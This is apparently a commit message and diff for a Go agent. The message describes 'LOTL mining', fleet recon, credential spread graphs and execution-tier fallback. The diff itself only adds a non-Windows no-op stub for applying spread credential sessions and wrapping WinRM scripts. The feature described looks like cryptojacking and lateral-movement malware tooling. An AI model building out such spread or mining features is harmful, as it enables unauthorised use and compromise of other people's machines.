Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

agent/deploy/cred_spread_stub.go

@@ -0,0 +1,11 @@
+//go:build !windows
+
+package deploy
+
+func applySpreadCredSession(_ string, _ SpreadCredSession) (cleanup func(), ok bool) {
+	return nil, false
+}
+
+func winRMCredPSBlock(target string, _ SpreadCredSession, innerScript string) string {
+	return innerScript
+}